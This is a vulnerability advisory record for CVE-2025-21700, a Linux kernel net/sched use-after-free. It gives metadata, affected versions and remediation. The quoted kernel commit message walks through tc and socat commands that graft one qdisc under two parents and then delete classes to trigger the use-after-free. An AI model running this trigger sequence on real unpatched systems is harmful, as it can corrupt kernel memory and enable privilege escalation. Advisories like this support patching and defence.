---
id: CVE-2025-21700
title: |-
  In the Linux kernel, the following vulnerability has been resolved:

  net: sched: Disallow replacing of child qdisc from one parent to another

  Lion Ackermann was able to create a UAF which can be abused for privilege
  escalation with the …
summary: |-
  In the Linux kernel, the following vulnerability has been resolved:

  net: sched: Disallow replacing of child qdisc from one parent to another

  Lion Ackermann was able to create a UAF which can be abused for privilege
  escalation with the …
severity: high
cvss: 7.8
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'
cwe:
  - CWE-416
vendor: linux
product: linux_kernel
affected:
  - 'linux_kernel >= 2.6.12, < 5.4.291'
  - 'linux_kernel >= 5.5, < 5.10.235'
  - 'linux_kernel >= 5.11, < 5.15.179'
  - 'linux_kernel >= 5.16, < 6.1.129'
  - 'linux_kernel >= 6.2, < 6.6.76'
  - 'linux_kernel >= 6.7, < 6.12.13'
  - 'linux_kernel >= 6.13, < 6.13.2'
patched:
  - linux_kernel 6.13.2
published: '2025-02-13'
updated: '2026-10-15'
sourceUpdated: '2026-10-15T02:17:27.363'
source: NVD
sourceUrl: 'https://nvd.nist.gov/vuln/detail/CVE-2025-21700'
references:
  - url: 'https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b'
    label: 416baaa9-dc9f-4396-8d5f-8c081fb06d67
  - url: 'https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html'
    label: af854a3a-2127-422b-91ae-364da2661108
  - url: 'https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html'
    label: af854a3a-2127-422b-91ae-364da2661108
  - url: 'https://cert-portal.siemens.com/productcert/html/ssa-784472.html'
    label: 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e
tags:
  - nvd
  - cve.org
epss: 0.00232
epssPercentile: 0.14008
ingestedAt: '2026-10-15T03:30:12.784Z'
ssvc:
  exploitation: none
  automatable: 'no'
  technicalImpact: total
  timestamp: '2025-02-13T13:51:43.457867Z'
---

## Overview

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

## Affected

- `linux_kernel >= 2.6.12, < 5.4.291`
- `linux_kernel >= 5.5, < 5.10.235`
- `linux_kernel >= 5.11, < 5.15.179`
- `linux_kernel >= 5.16, < 6.1.129`
- `linux_kernel >= 6.2, < 6.6.76`
- `linux_kernel >= 6.7, < 6.12.13`
- `linux_kernel >= 6.13, < 6.13.2`

## Remediation

Upgrade past the affected range:

- `linux_kernel 6.13.2`